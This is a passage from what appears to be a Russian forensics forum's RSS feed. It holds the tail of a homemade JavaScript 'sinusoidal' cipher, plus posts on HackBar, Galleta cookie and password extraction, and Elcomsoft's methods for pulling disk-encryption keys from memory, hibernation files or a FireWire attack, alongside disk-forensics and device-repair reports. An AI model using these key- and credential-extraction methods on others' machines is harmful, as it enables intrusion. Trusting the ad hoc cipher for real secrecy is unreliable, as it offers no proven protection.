ff(d, a, b, c, x[i+ 9], 12, -1958414417); c = ff(c, d, a, b, x[i+10], 17, -42063); b = ff(b, c, d, a, x[i+11], 22, -1990404162); a = ff(a, b, c, d, x[i+12], 7 , 1804603682); d = ff(d, a, b, c, x[i+13], 12, -40341101); c = ff(c, d, a, b, x[i+14], 17, -1502002290); b = ff(b, c, d, a, x[i+15], 22, 1236535329); a = gg(a, b, c, d, x[i+ 1], 5 , -165796510); d = gg(d, a, b, c, x[i+ 6], 9 , -1069501632); c = gg(c, d, a, b, x[i+11], 14, 643717713); b = gg(b, c, d, a, x[i+ 0], 20, -373897302); a = gg(a, b, c, d, x[i+ 5], 5 , -701558691); d = gg(d, a, b, c, x[i+10], 9 , 38016083); c = gg(c, d, a, b, x[i+15], 14, -660478335); b = gg(b, c, d, a, x[i+ 4], 20, -405537848); a = gg(a, b, c, d, x[i+ 9], 5 , 568446438); d = gg(d, a, b, c, x[i+14], 9 , -1019803690); c = gg(c, d, a, b, x[i+ 3], 14, -187363961); b = gg(b, c, d, a, x[i+ 8], 20, 1163531501); a = gg(a, b, c, d, x[i+13], 5 , -1444681467); d = gg(d, a, b, c, x[i+ 2], 9 , -51403784); c = gg(c, d, a, b, x[i+ 7], 14, 1735328473); b = gg(b, c, d, a, x[i+12], 20, -1926607734); a = hh(a, b, c, d, x[i+ 5], 4 , -378558); d = hh(d, a, b, c, x[i+ 8], 11, -2022574463); c = hh(c, d, a, b, x[i+11], 16, 1839030562); b = hh(b, c, d, a, x[i+14], 23, -35309556); a = hh(a, b, c, d, x[i+ 1], 4 , -1530992060); d = hh(d, a, b, c, x[i+ 4], 11, 1272893353); c = hh(c, d, a, b, x[i+ 7], 16, -155497632); b = hh(b, c, d, a, x[i+10], 23, -1094730640); a = hh(a, b, c, d, x[i+13], 4 , 681279174); d = hh(d, a, b, c, x[i+ 0], 11, -358537222); c = hh(c, d, a, b, x[i+ 3], 16, -722521979); b = hh(b, c, d, a, x[i+ 6], 23, 76029189); a = hh(a, b, c, d, x[i+ 9], 4 , -640364487); d = hh(d, a, b, c, x[i+12], 11, -421815835); c = hh(c, d, a, b, x[i+15], 16, 530742520); b = hh(b, c, d, a, x[i+ 2], 23, -995338651); a = ii(a, b, c, d, x[i+ 0], 6 , -198630844); d = ii(d, a, b, c, x[i+ 7], 10, 1126891415); c = ii(c, d, a, b, x[i+14], 15, -1416354905); b = ii(b, c, d, a, x[i+ 5], 21, -57434055); a = ii(a, b, c, d, x[i+12], 6 , 1700485571); d = ii(d, a, b, c, x[i+ 3], 10, -1894986606); c = ii(c, d, a, b, x[i+10], 15, -1051523); b = ii(b, c, d, a, x[i+ 1], 21, -2054922799); a = ii(a, b, c, d, x[i+ 8], 6 , 1873313359); d = ii(d, a, b, c, x[i+15], 10, -30611744); c = ii(c, d, a, b, x[i+ 6], 15, -1560198380); b = ii(b, c, d, a, x[i+13], 21, 1309151649); a = ii(a, b, c, d, x[i+ 4], 6 , -145523070); d = ii(d, a, b, c, x[i+11], 10, -1120210379); c = ii(c, d, a, b, x[i+ 2], 15, 718787259); b = ii(b, c, d, a, x[i+ 9], 21, -343485551); a = add(a, olda); b = add(b, oldb); c = add(c, oldc); d = add(d, oldd); } return rhex(a) + rhex(b) + rhex(c) + rhex(d); } /* Функция IntToHex возвращает шестнадцатеричные представления целых чисел. Такая стандартная функция есть в языке Delphi. Теперь я написал её аналог и для Javascript. Функция имеет два входных параметра: chi - целое положительное число, kol - длина выходной строки. Пример использования IntToHex(234,4) возвращает '00ea' IntToHex(1234567,10) возвращает '000012d687' IntToHex(234,0) возвращает 'ea' IntToHex(1234567,0) возвращает '12d687' */ function IntToHex(chi,kol){ var chi2=Math.floor(Math.abs(chi)); var mn=1; var k=1; for(var i=chi2;i&gt;15;i=i/16){mn=mn*16;k=k+1;} var he=''; var j='(c)arraylove.narod.ru,2013'; for(i=1;i&lt;=k;i++){ j=Math.floor(chi2/mn); chi2=chi2-(mn*j); switch (j) { case 10: he=he+'a'; break; case 11: he=he+'b'; break; case 12: he=he+'c'; break; case 13: he=he+'d'; break; case 14: he=he+'e'; break; case 15: he=he+'f'; break; default: he=he+j; break; } mn=mn/16; } if(kol!=0){ for(i=1;i&lt;=kol;i++){he='0'+he;} he=he.substr(-kol); } return he; } /* Обратная функция для перевода шестнадцатеричной строковой записи целого числа в числовой формат. Пример использования HexToInt('00eA') возвращает 234 HexToInt('000012d687') возвращает 1234567 HexToInt('FFff') возвращает 65535 */ function HexToInt(he){ var he2=he.toLowerCase(); he2=he2.replace(/[^0-9a-f]/g,''); var le=he2.length; var mn=1; var su=0; var j=le; var ch='(c)arraylove.narod.ru,2013'; for(var i=0;i&lt;le;i++){ j=j-1; ch=he2.substr(j,1); switch (ch) { case 'a': su=su+(mn*10); break; case 'b': su=su+(mn*11); break; case 'c': su=su+(mn*12); break; case 'd': su=su+(mn*13); break; case 'e': su=su+(mn*14); break; case 'f': su=su+(mn*15); break; default: su=su+(mn*ch); break; } mn=mn*16; } return su; } /* Программа синусоидального шифрования сообщений. Посвящается всем спецслужбам мира. ;) */ with(document.getElementById('NoJS')){ style.width='69px'; style.left='-999px'; } document.body.style.overflow='hidden'; function closePanel(){ var width = window.innerWidth || (document.documentElement &amp;&amp; document.documentElement.clientWidth) || document.body.clientWidth; le=width-9; le=le+'px'; document.getElementById('panel').style.left=le; } closePanel(); window.onresize=closePanel; function openPanel(){ var width = window.innerWidth || (document.documentElement &amp;&amp; document.documentElement.clientWidth) || document.body.clientWidth; le=width-369; le=le+'px'; document.getElementById('panel').style.left=le; } function razbivka(m){ var n='arraylove.narod.ru'+m; n=n.replace(/[^0-9]/g,''); n=0+n; n=1*n; var st=document.getElementById('text2').value; st=st.replace(/[^0-9a-f]/g,''); var L=st.length; var st2='(c)arraylove.narod.ru,2013'; if(n==0){ st2=st; }else{ st2=''; var st3='(c)arraylove.narod.ru,2013'; for(var i=0;i&lt;L;i=i+n){ st3=st.substr(i,n); st2=st2+'\n'+st3; } st2=st2.replace(/^\n/,''); } document.getElementById('text2').value=st2; closePanel(); } function cleaner(){ document.getElementById('text1').value=''; document.getElementById('text2').value=''; document.getElementById('key').value=''; document.getElementById('key2').value=''; document.getElementById('dlstr').value='256'; closePanel(); } function perePro1(){ var st=document.getElementById('text1').value; document.getElementById('text2').value=''; if(st!=''){ var key=document.getElementById('key').value; if(key==document.getElementById('key2').value){ var st2=cipher69690(st,key); document.getElementById('text2').value=st2; }else{ alert('Введенные ключи не совпадают!'); } }else{ alert('Не задан исходный текст.'); } } function perePro2(){ var st=document.getElementById('text2').value; document.getElementById('text1').value=''; var key=document.getElementById('key').value; var st2=cipher6969(st,key); document.getElementById('text1').value=st2; if(st2==''){alert('Введён неверный ключ или зашифрованный текст повреждён.');} } function cipher69690(st1,passwo){ var kA = new Array (); var st2=calcMD5(passwo); kA[0]=HexToInt(st2.substring( 0, 4)); kA[1]=HexToInt(st2.substring( 4, 8)); kA[2]=HexToInt(st2.substring( 8,12)); kA[3]=HexToInt(st2.substring(12,16)); kA[4]=HexToInt(st2.substring(16,20)); kA[5]=HexToInt(st2.substring(20,24)); kA[6]=HexToInt(st2.substring(24,28)); kA[7]=HexToInt(st2.substring(28,32)); var kB = new Array ( 69691, 69697, 86969, 116969, 169691, 169693, 296969, 356969); var kC = new Array (); st2=calcMD5(st1); kC[0]=HexToInt(st2.substring( 0, 4)); kC[1]=HexToInt(st2.substring( 4, 8)); kC[2]=HexToInt(st2.substring( 8,12)); kC[3]=HexToInt(st2.substring(12,16)); kC[4]=HexToInt(st2.substring(16,20)); kC[5]=HexToInt(st2.substring(20,24)); kC[6]=HexToInt(st2.substring(24,28)); kC[7]=HexToInt(st2.substring(28,32)); var L1=st1.length; var plu='(c)arraylove.narod.ru,2013'; var garmo=0; for(var i=0;i&lt;L1;i++){ garmo= kA[0]*Math.sin(kB[0]*i+kC[0])+ kA[1]*Math.sin(kB[1]*i+kC[1])+ kA[2]*Math.sin(kB[2]*i+kC[2])+ kA[3]*Math.sin(kB[3]*i+kC[3])+ kA[4]*Math.sin(kB[4]*i+kC[4])+ kA[5]*Math.sin(kB[5]*i+kC[5])+ kA[6]*Math.sin(kB[6]*i+kC[6])+ kA[7]*Math.sin(kB[7]*i+kC[7]); garmo=Math.round(Math.abs(garmo)); garmo=garmo%65536; plu=st1.charCodeAt(i); plu=(plu+garmo)%65536; plu=IntToHex(plu,4); st2=st2+plu;//+','; } return st2; } function cipher6969(st1,passwo){ var kA = new Array (); var st2=calcMD5(passwo); kA[0]=HexToInt(st2.substring( 0, 4)); kA[1]=HexToInt(st2.substring( 4, 8)); kA[2]=HexToInt(st2.substring( 8,12)); kA[3]=HexToInt(st2.substring(12,16)); kA[4]=HexToInt(st2.substring(16,20)); kA[5]=HexToInt(st2.substring(20,24)); kA[6]=HexToInt(st2.substring(24,28)); kA[7]=HexToInt(st2.substring(28,32)); var kB = new Array ( 69691, 69697, 86969, 116969, 169691, 169693, 296969, 356969); var st15=st1.toLowerCase(); st15=st15.replace(/[^0-9a-f]/g,''); var L15=st15.length; st2=''; if((L15%4==0)&amp;&amp;(L15&gt;32)){ var he1=st15.substring(0,32); var kC = new Array (); kC[0]=HexToInt(he1.substring( 0, 4)); kC[1]=HexToInt(he1.substring( 4, 8)); kC[2]=HexToInt(he1.substring( 8,12)); kC[3]=HexToInt(he1.substring(12,16)); kC[4]=HexToInt(he1.substring(16,20)); kC[5]=HexToInt(he1.substring(20,24)); kC[6]=HexToInt(he1.substring(24,28)); kC[7]=HexToInt(he1.substring(28,32)); var plu='(c)arraylove.narod.ru,2013'; var garmo=0; var t=0; for(var i=32;i&lt;L15;i=i+4){ garmo= kA[0]*Math.sin(kB[0]*t+kC[0])+ kA[1]*Math.sin(kB[1]*t+kC[1])+ kA[2]*Math.sin(kB[2]*t+kC[2])+ kA[3]*Math.sin(kB[3]*t+kC[3])+ kA[4]*Math.sin(kB[4]*t+kC[4])+ kA[5]*Math.sin(kB[5]*t+kC[5])+ kA[6]*Math.sin(kB[6]*t+kC[6])+ kA[7]*Math.sin(kB[7]*t+kC[7]); t=t+1; garmo=Math.round(Math.abs(garmo)); garmo=garmo%65536; plu=st15.substr(i,4); plu=HexToInt(plu); plu=(plu+65536-garmo)%65536; plu=String.fromCharCode(plu); st2=st2+plu; } } if(calcMD5(st2)!=he1){st2='';} return st2; } &lt;/script&gt;</pre></div></div></div> mybb@mybb.ru (matrix) Wed, 25 Jun 2014 20:35:19 +0400 http://expertiza.mybb.ru/viewtopic.php?pid=102#p102 http://expertiza.mybb.ru/viewtopic.php?pid=100#p100 <p><span style="font-size: 20px">HackBar — расширение Firefox для хакеров</span><br />Данная панель инструментов поможет вам в тестировании sql-инъекций, XSS «дырок» и общей безопасности сайта. Это расширение не инструмент для выполнения эксплойтов (от англ. — exploit) и оно не научит взламывать сайт (или стать хакером). Первостепенная роль расширения — помочь разработчикам в проверке степени безопасности их кода. Если вы знаете что вам требуется сделать, то эта панель поможет сделать это быстрее. Если вы только хотите научиться находить пробелы в безопасности, то вы также можете использовать эту панель, но вам потребуется как минимум книга и «много-много гугла».</p> mybb@mybb.ru (counter) Sun, 22 Jun 2014 05:36:27 +0400 http://expertiza.mybb.ru/viewtopic.php?pid=100#p100 http://expertiza.mybb.ru/viewtopic.php?pid=94#p94 <p><a href="https://yandex.ru/yandsearch?text=%D0%A4%D0%B5%D0%B4%D0%BE%D1%82%D0%BE%D0%B2%20%D0%A4%D0%BE%D1%80%D0%B5%D0%BD%D0%B7%D0%B8%D0%BA%D0%B0%20%22%D0%9F%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%B0%20%D1%81%D0%B1%D0%BE%D1%80%D0%B0%20%D0%B8%20%D1%84%D0%B8%D0%BA%D1%81%D0%B0%D1%86%D0%B8%D0%B8%20%D1%86%D0%B8%D1%84%D1%80%D0%BE%D0%B2%D1%8B%D1%85%20%D0%B4%D0%BE%D0%BA%D0%B0%D0%B7%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D1%81%D1%82%D0%B2%20%28%D1%82%D0%BE%20%D0%B5%D1%81%D1%82%D1%8C%20%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D0%BE%D0%B9%20%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D0%B8%2C%20%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D1%83%D0%B5%D0%BC%D0%BE%D0%B9%20%D0%B2%20%D0%BA%D0%B0%D1%87%D0%B5%D1%81%D1%82%D0%B2%D0%B5%20%D0%B4%D0%BE%D0%BA%D0%B0%D0%B7%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D1%81%D1%82%D0%B2%D0%B0%29%20%D0%BD%D0%B5%20%D0%B7%D0%B0%D0%BA%D1%80%D0%B5%D0%BF%D0%BB%D0%B5%D0%BD%D1%8B%20%D0%B2%20%D0%B7%D0%B0%D0%BA%D0%BE%D0%BD%D0%B5.%20%D0%9D%D0%B5%D1%82%20%D0%B8%20%D0%B2%D0%B5%D0%B4%D0%BE%D0%BC%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D1%8B%D1%85%20%D0%BD%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D0%B8%D0%B2%D0%BD%D1%8B%D1%85%20%D0%B0%D0%BA%D1%82%D0%BE%D0%B2%2C%20%D0%B7%D0%B0%D0%BA%D1%80%D0%B5%D0%BF%D0%BB%D1%8F%D1%8E%D1%89%D0%B8%D1%85%20%D1%82%D0%B0%D0%BA%D0%B8%D0%B5%20%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%B0.%22" rel="nofollow" target="_blank">Федотов Н.Н. Форензика — компьютерная криминалистика</a></p> mybb@mybb.ru (counter) Tue, 20 May 2014 13:46:28 +0400 http://expertiza.mybb.ru/viewtopic.php?pid=94#p94 http://expertiza.mybb.ru/viewtopic.php?pid=93#p93 <div class="quote-box answer-box"><cite>Игорь Васильевич написал(а):</cite><blockquote><p>иногда еще появлялся звук когда обновлял браузер, или переустанавливал его, сейчас никак</p></blockquote></div><p>1. Проверьте настройки громкости.<br />2. Проверьте виндовые настройки звука. Возможно причина в неправильных системных настройках.<br />3. Проверьте, включена ли служба воспроизведения звука (аудио).<br />4. Включите воспроизведение музыки и плавно (без ударов!) потрясите ноутбук под разными углами наклона.</p> mybb@mybb.ru (phucker) Sun, 11 May 2014 20:40:14 +0400 http://expertiza.mybb.ru/viewtopic.php?pid=93#p93 http://expertiza.mybb.ru/viewtopic.php?pid=88#p88 <p><span style="font-size: 20px">Highscreen Boost II</span></p> <p>Неисправность: яркое пятно (засвет) на экране. Особенно заметно при полностью белом экране.</p> <p>Случай 1<br />highscreen boost 2 яркое пятно на экране<br />появилось&#160; пятно&#160; в низу&#160; экрана&#160; ,особенно видно на белом фоне, оно немого&#160; ярче&#160; чем сам дисплей но при этом цвета передаются теже, что может быть?</p> <p>Случай 2<br />Отмечается такая проблема, как розовое пятно, оно слабо различимо и не всегда проявляется, но все-таки присутствие такого конструктивного недостатка нужно учитывать.</p> <p>Можно с уверенностью утверждать, что данный недостаток смартфона относится не к случаям отдельного производственного брака, а является конструктивным недостатком всей линейки Highscreen Boost II</p> mybb@mybb.ru (matrix) Sun, 09 Mar 2014 14:33:52 +0400 http://expertiza.mybb.ru/viewtopic.php?pid=88#p88 http://expertiza.mybb.ru/viewtopic.php?pid=87#p87 <p><a href="http://www.spy-soft.net/" rel="nofollow" target="_blank">http://www.spy-soft.net/</a></p> mybb@mybb.ru (counter) Mon, 03 Mar 2014 21:34:04 +0400 http://expertiza.mybb.ru/viewtopic.php?pid=87#p87 http://expertiza.mybb.ru/viewtopic.php?pid=85#p85 <p><span style="font-size: 20px">Galleta</span></p> <p>Galleta (Испанский — Печенье) — это профессиональный инструмент от компании MCafee, который используется специалистами Форензики, компьютерной криминалистики. Программа вытаскивает всю историю, кеш, пароли и кукисы браузера Internet Explorer. В некоторых благоприятных случаях копает глубже чем остальные похожие программы которые работают с Internet Explorer.<br />Программа кроссплатформенная, работает на Mac OS, Linux и *BSD, Windows.</p> mybb@mybb.ru (counter) Mon, 03 Mar 2014 21:27:47 +0400 http://expertiza.mybb.ru/viewtopic.php?pid=85#p85 http://expertiza.mybb.ru/viewtopic.php?pid=78#p78 <p><span style="font-size: 20px">Криминалистический анализ дисков</span></p> <p>Криминалистический анализ: основные требования</p> <p>Не секрет, что разработка тех или иных инструментов подчиняется требованиям заказчика. В случае с программами для восстановления данных – это восстановление максимального количества информации за минимальное время. А как обстоят дела в сфере криминалистики? Требования похожи и непохожи одновременно.</p> <p>Работа в режиме «только чтение»</p> <p>Работа в режиме «только для чтения» - одно из немногих требований, которое роднит две категории программ. Доступ только на чтение информации используется программами по восстановлению данных с целью не допустить повреждения или перезаписи удалённых файлов. А вот в криминалистике дела обстоят гораздо жёстче: требование неизменности извлекаемых улик – один из основополагающих принципов судопроизводства. Соответственно, криминалисты предпочитают не полагаться на добрую волю программистов, а подстраховываются, используя специальные аппаратные блокираторы записи. Использование таких устройств заведомо исключает любые попытки записи на исследуемый жёсткий диск.</p> <p>Использование виртуальных образов диска</p> <p>Использовать виртуальный образ диска или восстанавливать данные «по живому» - выбор каждого специалиста по восстановлению данных. У криминалистов такого выбора нет: стандартная процедура анализа диска подразумевает снятие образа в формате Ex01, DD или SMART, и последующий анализ этого образа. Практика, удобная со многих точек зрения, но требующая наличия свободного диска большого объёма.</p> <p>Документирование процесса</p> <p>Одна из обязанностей криминалиста – тщательное документирование каждого шага работы с цифровыми уликами. Все операции, проделанные аналитиком, должны быть прозрачны и повторяемы другим, независимым специалистом. Для программ по восстановлению данных таких требований не существует, поэтому создаваемые такими программами отчёты ограничиваются списком файлов, которые удалось или не удалось восстановить.</p> <p>Поиск по сигнатурам и data carving</p> <p>Программы для восстановления данных используют мощные алгоритмы для поиска файлов на всей поверхности жёсткого диска. Эти алгоритмы используют известные повторяющиеся участки (сигнатуры) для того, чтобы обнаружить начало файла. Последующий анализ заголовка файла позволяет вычислить его длину.</p> <p>Недостаток таких алгоритмов – невозможность полностью восстановить фрагментированные файлы (разумеется, это касается только файлов, для которых нет соответствующей записи в файловой системе, а также дисков с повреждённой или уничтоженной файловой системой).</p> <p>В условиях расследования преступлений часто требуется восстановить какой-то конкретный файл независимо от того, фрагментирован он или нет. В этом случае на помощь приходят алгоритмы семейства “data carving” (соответствующего термина на русском языке пока не существует). Такие алгоритмы используют эвристику, комбинаторику и львиную долю ручного труда для сборки интересующего криминалиста файла из множества отдельных фрагментов. Процесс этот чрезвычайно длительный и трудоёмкий, поэтому даже в криминалистике на сегодняшний день он используется очень и очень редко. Впрочем, разработчики не стоят на месте – и уже завтра может появиться программа, которая сможет автоматизировать процесс.</p> <p>Что именно восстанавливается</p> <p>Казалось бы, пользователей компьютера и криминалистов должны интересовать одни и те же файлы, но это не так. Криминалистов интересует поведение подозреваемого на протяжении некоего отрезка времени. Соответственно, извлекаются такие данные, как кэш браузера, база данных, содержащая историю посещённых веб-сайтов, файлы реестра Windows, а также базы данных истории программ мгновенного обмена сообщениями – Skype, ICQ и подобных. Также извлекаются фотографии и документы – пожалуй, программы восстановления данных и криминалистические инструменты солидарны только по этим двум пунктам.</p> <p>Аналитика и отчёты</p> <p>Работа программы восстановления данных заканчивается тогда, когда все извлечённые файлы успешно записаны на альтернативный носитель. А работа аналитика-криминалиста на этом только начинается. Теперь нужно проанализировать все найденные данные, просмотреть записи в базах данных, проанализировать действия и составить психологический портрет преступника. Именно эта часть занимает большую часть времени криминалиста, и разработчики соответствующих программ не подкачали: аналитическая часть самых популярных пакетов (Guidance EnCase, AccessData FTK, Belkasoft Evidence Center, Oxygen Forensic Toolkit и многих других) превосходит воображение.</p> <p>А потом наступает время составления отчёта. Криминалистические программы предоставляют для этого массу встроенных возможностей, позволяя создавать практически любые отчёты, от кратких до очень подробных.</p> <p>Заключение</p> <p>Как мы увидели, криминалистические программы используют в своей работе многие из тех алгоритмов, которые были разработаны для восстановления данных. Но там, где труд специалиста по восстановлению данных заканчивается, работа криминалиста только начинается. Для этого и существует масса аналитических пакетов соответствующего назначения. А нужды простых пользователей с лихвой покрывают самые обычные программы по восстановлению данных.</p> mybb@mybb.ru (counter) Mon, 03 Mar 2014 21:08:41 +0400 http://expertiza.mybb.ru/viewtopic.php?pid=78#p78 http://expertiza.mybb.ru/viewtopic.php?pid=77#p77 <p>Компания «Элкомсофт» выпустила программу <strong>Elcomsoft Forensic Disk Decryptor</strong>, которая предназначена для криминалистической экспертизы криптоконтейнеров <strong>BitLocker</strong>, <strong>PGP</strong> и <strong>TrueCrypt</strong>. Поддерживаются как фиксированные, так и портативные носители, включая <strong>PGP</strong> в режиме шифрования всего диска, а также съёмные диски, защищённые с помощью <strong>BitLocker To Go</strong>. С помощью <strong>Elcomsoft Forensic Disk Decryptor</strong> можно как полностью расшифровать содержимое защищённого тома, так и работать в реальном времени с подключением зашифрованных томов и расшифровкой выбранных данных «на лету».</p> <p>Программа извлекает ключи шифрования тремя методами:</p> <p>1. Из дампа оперативной памяти. Все ключи извлекаются единовременно, даже если в системе присутствуют более, чем один криптоконтейнер. Дамп оперативной памяти может быть создан с помощью соответствующих криминалистических продуктов, например, <strong>MoonSols Windows Memory Toolkit</strong>. Зашифрованные тома в момент снятия слепка должны быть подключены; в противном случае ключ расшифровки извлечь не удастся. Подробное описание этой технологии (и полный список коммерческих и бесплатных программ см. здесь.</p> <p>2. Анализ файла гибернации (исследуемый компьютер выключен). Защищённые тома должны быть подключены перед выключением компьютера. Если криптоконтейнер был размонтирован перед созданием файла гибернации, извлечь из него ключи будет невозможно.</p> <p>3. Атакой через порт FireWire, если у вас не хватает прав для снятия дампа памяти или запуска программ на анализируемом компьютере. Для проведения атаки через порт FireWire требуется дополнительный компьютер с установленным бесплатным продуктом (например, <strong>Inception</strong>). Такая атака даёт практически стопроцентный результат, но опять же, зашифрованные тома должны быть подключены в момент анализа.</p> <p>Если удалось извлечь ключи шифрования, то с их помощью расшифровка информации на носителе осуществляется в реальном времени — практически мгновенно.</p> mybb@mybb.ru (counter) Mon, 03 Mar 2014 21:02:30 +0400 http://expertiza.mybb.ru/viewtopic.php?pid=77#p77 http://expertiza.mybb.ru/viewtopic.php?pid=75#p75 <p><img class="postimg" loading="lazy" src="http://s9.uploads.ru/vYZF0.jpg" alt="http://s9.uploads.ru/vYZF0.jpg" /></p> <p><img class="postimg" loading="lazy" src="http://s9.uploads.ru/94Eol.jpg" alt="http://s9.uploads.ru/94Eol.jpg" /></p> <p>При экспертизе мобильного телефона установлено:</p> <p>Повреждения от значительных внешних механических воздействий: сколы, трещины, вмятины на поверхностях устройства - не просматриваются;<br />Внешним осмотром не обнаружены какие-либо следы химических, термических и других воздействий или внешних признаков нарушения правил эксплуатации изделия;<br />Следы попадания жидкости и загрязнений не просматриваются;<br />Мобильный телефон тестировался с помощью исправных сим-карты «Билайн» sim: 897019910070532211, сим-карты «МТС» sim: 8970101006003716506, сим-карты «Мегафон» sim: 8970126585408427 в зоне уверенного приема всех вышеперечисленных операторов, с исправной оригинальной аккумуляторной батареей;<br />При подключении заведомо исправной оригинальной аккумуляторной батареи, возникает вибрация аппарата, появляется надпись NOKIA на фоне тусклого экрана, затем изображение пропадает и через некоторое время самопроизвольно вновь появляется.<br />После нажатия клавиши включения, полного включения аппарата не происходит.<br />При подключении зарядного устройства или USB-кабеля, после нажатия клавиши включения, происходит полное включение аппарата, загружается программное обеспечение, появляется рабочий стол.<br />Имеющийся IMEI в системе совпадает с указанным на шильдике (на корпусе под аккумуляторной батареей).<br />После прошивки/прошивки флеш-памяти аппарата, дефект устранен не был, сбой ПО (программного обеспечения) исключен.<br /> </p> <p>После вскрытия устройства с соблюдением правил, указанных в сервисной Инструкции обнаружено:</p> <p>Попадания жидкости на системную плату и установленных на ней компонентов не выявлено;<br />Указанное место сервисным центром (стр. 75 судебного дела № 2-XXX/11) следов коррозии и попадания жидкости не имеет;<br />Кнопка включения имеет следы ремонта, ширина галтели припоя сильно отличается от заводской пайки других кнопок управления.</p> mybb@mybb.ru (Владимир Ильич) Sat, 22 Feb 2014 18:41:32 +0400 http://expertiza.mybb.ru/viewtopic.php?pid=75#p75 http://expertiza.mybb.ru/viewtopic.php?pid=73#p73 <p><img class="postimg" loading="lazy" src="http://s9.uploads.ru/jIpcy.jpg" alt="http://s9.uploads.ru/jIpcy.jpg" /></p> <p><img class="postimg" loading="lazy" src="http://s9.uploads.ru/ifbDz.jpg" alt="http://s9.uploads.ru/ifbDz.jpg" /></p> <p>При экспертизе ноутбука установлено:</p> <p>Шлицы крепежных элементов имеют повреждения;<br />Имеется механическое повреждение в районе левого поворотного узла крепления верхней крышки ноутбука;<br />При поднятии верхней крышки (открытии) происходит “выламывание” верхней крышки нижней части корпуса;</p> <p>После вскрытия устройства с соблюдением правил, указанных в сервисной Инструкции обнаружено:</p> <p>Имеются следы неквалифицированного ремонта;<br />У основания левого узла крепления корпуса матрицы имеется дефект в виде нарушения целостности;<br />Отсутствует резиновая прокладка, левого узла крепления верхней крышки, направляющая провода от матрицы к системной плате;<br />Попадание изоляционной обмотки проводов в левый узел крепления привело к его “заклиниванию” и нарушению целостности основания, отделившаяся часть оказывает механическое воздействие на верхнюю крышку нижней части корпуса;<br />Имеющаяся резиновая прокладка в правом узле крепления верхней крышки.<br /> </p> <p>Отсутствие резиновой прокладки левого поворотного узла верхней крышки привело к попаданию изоляционной обмотки проводов в пазы крепления, что в дальнейшем вызвало деформацию основания крепления, отсоединившаяся часть которого, при открытии ноутбука, оказывает механическое воздействие на верхнюю крышку нижней части корпуса.</p> mybb@mybb.ru (Владимир Ильич) Sat, 22 Feb 2014 18:37:09 +0400 http://expertiza.mybb.ru/viewtopic.php?pid=73#p73